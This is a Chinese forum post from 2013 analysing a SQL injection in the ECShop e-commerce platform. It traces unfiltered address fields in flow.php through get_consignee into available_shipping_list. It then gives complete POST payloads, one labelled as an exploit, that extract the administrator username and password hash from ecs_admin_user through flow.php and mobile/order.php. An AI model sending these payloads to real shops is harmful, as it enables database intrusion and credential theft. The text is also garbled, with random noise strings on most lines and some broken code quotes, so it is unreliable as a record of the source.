找回密码
 立即注册
查看: 2519|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。* {% \: ]% _, S. o
4 S% G+ _3 s0 f
    漏洞关键文件:: @2 v% e; s3 h+ T+ h. {3 p
- c2 j+ K- N1 h% {( k' P+ f
    /includes/lib_order.php
; v$ w6 U9 d. F2 O" F5 ^- |8 p+ Z# n7 D  @
    关键函数:
# X, a5 n5 z+ Y! }9 b/ Q9 Q6 }* s2 i+ W; K
/ d' E! l9 N6 e# `
% W1 R- ^% K) a+ t4 a4 I
01     function available_shipping_list($region_id_list)
% |: l" O/ h1 j( m, A: ?& [4 F4 z! J9 t$ {7 v5 T0 \+ a' t2 z
02 { 5 m! I; |, E- a! _

4 @+ ?- w: F" D03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
7 r1 R2 J, x3 c" d
. e+ S8 [* g) N' q6 A# I) ]04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . * e# P- r3 {) r! Z; f8 ]

  v9 c/ J0 u5 ^05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 1 Z, N" D9 U, D$ E

7 m/ M) E" g4 P7 J6 ]$ K06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . $ i- r$ j3 ^; |5 I% {
, P0 {! x- U9 f" s8 d
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
# }3 p6 p7 F4 \/ ~0 X/ k
" ?1 I# X* [7 u08             'WHERE r.region_id ' . db_create_in($region_id_list) .
% _/ D' z, n) D; Y3 r, I, G5 u3 k& H6 m, Z% l5 I
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
% s& [. f: r( i* o# U7 p, C
/ o" f9 _- m6 f$ |$ i10   
+ \. f$ |3 V1 T/ f. x* P, J/ L
, v# j' G8 @; Q; _  j11     return $GLOBALS['db']->getAll($sql); " b7 B; L; R4 H1 x+ E1 Z
3 H: v( q( X. G6 b- }0 L9 F  Z6 W
12 } " r% g3 S5 x' O: j2 G9 ]2 p
$ v/ L+ Y4 r, r) d
显然对传入的参数没有任何过滤就带入了查询语句。5 J& g8 q8 K% Y  T

1 K$ V: ?# H- S" v1 k下面我们追踪这个函数在flow.php中:- x' D  y, J- \0 E5 }# _* q
第531行:   " i' `. o" Z2 p! P/ x
7 D$ S7 e% B! W0 P+ _
1 $shipping_list     = available_shipping_list($region); 4 F) ?; [4 m( W; {4 z
, |- I& p1 T, q; @5 M& m6 O
: f. f$ J- ]- D

+ x. P; V  K& `/ v6 x  T- b
* F' L2 r' H: i9 l6 Z0 h; A. n- P5 ?, d& i6 N
再对传入变量进行追踪:
9 P3 K' M* F! Q3 i. x
: C( O- {4 _+ P2 t, P* u6 K6 Q第530行:   
  `7 ^8 G0 O* n% U  U: f+ H0 N5 S
- z' X+ f5 E' r3 W4 S! x- |4 y4 L1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); . G# A' Q' H4 g2 e9 f
3 ^  y+ s$ q3 C, ]. T% x
" l: `; U4 V% n/ h8 X0 k' a
# j0 a; M( f) F1 g4 v/ [
) C5 F1 o4 ?3 o8 [/ T) H
1 G2 q3 B7 S$ n$ R/ `5 R/ o
第473行:        
" Y/ t" l) v" g! Z# ]+ n' _6 z& S- ]" f8 `3 \2 G
1 $consignee = get_consignee($_SESSION['user_id']);
, V6 c* d2 E2 N% R( o8 F/ h7 i7 e6 [& h) [
到了一个关键函数:
2 m6 O$ X% d) D, H* _0 H7 C$ z; m4 C& \/ ]
/includes/lib_order.php( M0 X& H3 p5 D$ t6 V
" E* L& M( k; A& N1 [

1 w& n! i7 y/ j7 t8 H5 {% a: P0 A! b8 O; m" }2 M

: e6 \( E1 l$ x  d' g  [/ J! R* h" F' }% j
01 function get_consignee($user_id) 6 D* i: o3 U' {5 `8 p0 `
, n* ^# @# x( h  D1 ^
02 { 3 {- u6 u; ^1 j3 P/ p

2 \% `% d1 h1 }* I4 p5 o03     if (isset($_SESSION['flow_consignee']))
9 _" r( Q6 I# T' W1 L: m6 J# q. v2 s
04     {
; m1 w9 K* h) ?
7 V$ q7 ?9 w3 L! s" |+ K05         /* 如果存在session,则直接返回session中的收货人信息 */
2 o5 ]" I( G9 `1 f$ X9 c# }7 N1 s& E; K4 E9 S6 ?
06   
' ^# J$ L( D" _/ R) i7 w6 e1 T% a$ _# u: _3 G. ~
07         return $_SESSION['flow_consignee']; 6 j( ?  ^( I0 ^. m8 w

+ O" [: B; n' O$ {  W08     } ) J5 w3 S4 N7 M3 U# k

* ^- c3 B8 s+ P9 ?) _3 x5 L09     else
/ g# k9 C1 t0 r1 g0 L. ]1 S
; [2 R8 ]0 G; E0 Q$ J1 {& I10     { 6 T1 V* `' x2 {  o) A* C! r

/ |- J# k* @) D0 A# q' J4 W11         /* 如果不存在,则取得用户的默认收货人信息 */
& S( S8 a# a5 P- n6 O% A
* C1 b" U) ]7 @3 }" M7 C12         $arr = array();
/ B' K% I5 Z" Q# W" S3 e- F3 B8 q( a6 _; G; m9 T
13   
" A( I) L* I! P9 `+ ~3 G' s
. i- w1 q/ }* P2 I  @" j' i14         if ($user_id > 0)
, b6 M) O( |' s, `1 j4 F
$ p, U3 r# V$ @: ]0 g15         {
- E3 p1 N" f' K2 W
5 I8 B; S, P, _: e  F16             /* 取默认地址 */
3 {! \! k0 L0 z. l, j# T' |6 R1 ^  H: ~/ x* o- J& Q
17             $sql = "SELECT ua.*". # Y: B3 k/ I0 e6 d
8 G; h; s2 {( H5 Y- I
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 5 W6 H. H( L& }- k! @
! ]0 U1 f& ?9 p
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
* k4 c  |0 r* O* o9 ~4 J: e5 ~' `5 v' R
20   
6 r& S2 ?- D7 O  ?2 {0 {  j. p: }* k" |. y; G+ p1 _
21             $arr = $GLOBALS['db']->getRow($sql); ; [; O! ]/ g' W

# E5 _, T: \. n7 w7 ~22         }
9 Q$ G9 u5 R) X: b: _4 @$ P: ~4 t
5 d$ Z" i9 x. d2 ^& r23   
- t" q% L& w+ r0 d0 D6 F" z, I
  d/ T' `- v8 I3 t) g24         return $arr; 1 x3 s- L, F" I  ?  m4 B4 A6 y
# J6 h9 O+ @. L" B7 a
25     }
( y3 g  ^, V0 [: {4 o+ [8 Q  g4 o6 o. m: h) n
26 } + P. h* F# y. U( _
5 r! R4 o. R: x! l+ y+ N) Q
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?/ ~% p; X6 ~2 \4 j4 V8 _7 u  \, P
  I- a1 {6 B; C9 ^# B

! {# b# e/ \) B% H4 W# J7 T2 v' b5 T) [3 O
关键点:; o( n) u% M+ [' F2 U" O1 {8 a

' E. {: F  M0 y# n第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
  J+ m6 A6 d6 v2 C" J4 M% T6 R2 ?" r  \' }8 N3 O0 u
这里对传入参数反转义存入$_SESSION中。
3 O/ b, s: W5 s! d* C4 n. P5 n+ _0 ~7 z( Q1 B, F2 ^

( g6 H' @5 a) F2 H! o9 k5 ~4 {  G4 c0 E; M! V1 z
然后看下:
# Q  S; q- [! N& x/ R
, y0 I4 G% Z0 a  w  J4 H
& m6 q: l  o1 g2 f% q+ a% s% c2 Y' n
   
2 K1 w& r4 q) Y- g* k' Q7 S" M, s9 a# P7 n
01 $consignee = array(
3 l! z* g: E6 T/ `2 |" f* f& I
0 \7 ]( M2 k' z- M' }02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), 3 U3 i+ [0 r: g  P9 g1 i% n

$ B# N- f$ V/ C6 U03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
/ r4 A' k8 |) F0 r# U% ~1 c8 \, Y  u2 I8 n
04         'country'       => empty($_POST['country'])    ? '' _POST['country'], 5 W* a& f& X3 L! q& G) b/ o0 x

, d; X% j: l- F  x# }4 I. S05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
# ^) ~% k' O$ z8 _3 b/ @
$ c( F8 S6 X) Q  ~06         'city'          => empty($_POST['city'])       ? '' _POST['city'], , K  s$ ^+ W3 k2 l
+ u5 w1 G  u/ N
07         'district'      => empty($_POST['district'])   ? '' _POST['district'], # o) `8 P4 c0 m( S. p2 x( [- S' ]
. g! w7 `9 q! I; J
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
8 Z0 Q  e# a- ~# Y; s/ M# k, X# f2 w2 B! G0 f: C- h
09         'address'       => empty($_POST['address'])    ? '' _POST['address'], ; s+ W. B# R  Z

+ v/ g8 I. N" }  v10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), 4 F4 Z! t. m% ^, v4 ], p; }

0 l" ]2 K  ~" }  o. n# h11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), 4 I0 h% A- L' |7 J0 X0 ]

0 w  _) l$ i9 c' ?5 H12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
  w5 ~6 `- x; q" q/ q
6 H% @) C% m6 {" k0 i1 G1 `/ G0 v13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
5 l& Z0 ~' z0 }8 @: V7 k0 n6 p4 z9 ]0 ~  ^. q
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], / ?) y! @% T5 K7 k( j
4 s3 k! `5 a+ t2 y+ T* a. p* H/ i2 P
15     );
) `: s- G1 f" N" h; f8 \2 ]" G" U9 U5 Q, c/ T% [) @+ m& q
好了注入就这样出现了。
5 F* i0 I: e- l# C3 F1 H* q
$ U4 g* J$ P0 \2 `; J==================
# _! F6 @8 ^2 _& [
4 v" L9 L- n; Q. f! `  v8 C0 n注入测试:. E( S- S/ o& F% f
& x& G5 Q1 |& Q; ~' s, j. _
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)& A/ o5 ?9 ~/ X- D1 X

; A- q+ `+ }9 F+ x8 h$ f5 U2 u测试程序:ECShop_V2.7.3_UTF8_release1106
! L! o4 c/ f1 z6 F7 V% C. x& f) ]8 u# b2 L0 D( v1 A, V5 d
$ U9 n6 Q2 l6 m: ~8 [

" B  E  B. _( T, n1 E+ x' u2 H( z8 _1.首先需要点击一个商品加入购物车
1 c6 g' B; C) Q: e6 i; R
, J8 N9 z$ U- x- j  f7 K2.注册一个会员帐号
/ i) e* v; r& ~. Y" @
7 @+ i/ z! F6 Q/ Q% q2 o5 Z$ N3.post提交数据
. Q: Y4 T" V& T* M/ U( \% {
0 l5 P$ _% _3 F8 n4 @. ?
5 I$ r" b* j( R* D, X! b# ?, ~$ g8 @1 `' b. T. l
1 http://127.0.0.1/ecshop/flow.php % S+ f! ]1 |7 n2 x5 l# e/ E0 f/ \: x
( l- @1 J* {+ r$ o& D; ^/ Z
2   
1 q3 i, g9 Z' C$ u# J% F
" P& X# ?) D- j& L9 w$ k3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
5 C+ y/ e( J0 t举一反三,我们根据这个漏洞我们可以继续深入挖掘:& U- P$ h8 h2 R; e* M- l0 s2 h" k
, A1 y+ w# t3 i) T8 l% V5 c7 s# @% v
我们搜寻关键函数function available_shipping_list()
% `+ o1 A$ S0 h. I/ Q7 y
4 a6 u. G! |. H0 O. J4 E在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同7 M5 j  ^# ^  F5 e: w
& P: K& t& Q! {1 ^% B- [
利用exp:
6 {+ ]8 l4 b+ D: @
4 g) I3 ?, a6 `/ K1 ~' L8 Z: a1.点击一个商品,点击购买商标
' Y2 X- X) b! }9 T: P. n) K+ _
4 E" ^" G4 H. t. T5 P; O% M! E$ Z8 d4 b2.登录会员帐号
. v; G+ g" K$ H6 u& e
# Q' v' c: |, f8 g5 {6 j" Q3 N3.post提交:( h/ V- e) O# j/ O

1 g* w0 N, d/ e9 J# _+ Ghttp://127.0.0.1/ecshop/mobile/order.php
5 G# n* y2 K5 P" o  e# K! f4 v% b, R, R( a) c5 ?' h, ^
8 @  z' s$ b7 H6 Q) U
* [, \% _2 c2 D, Y1 f0 C5 N
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
2 X7 e% j4 ^# C, U; L( r. V9 y& H; T8 {2 U2 k1 C0 e3 g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表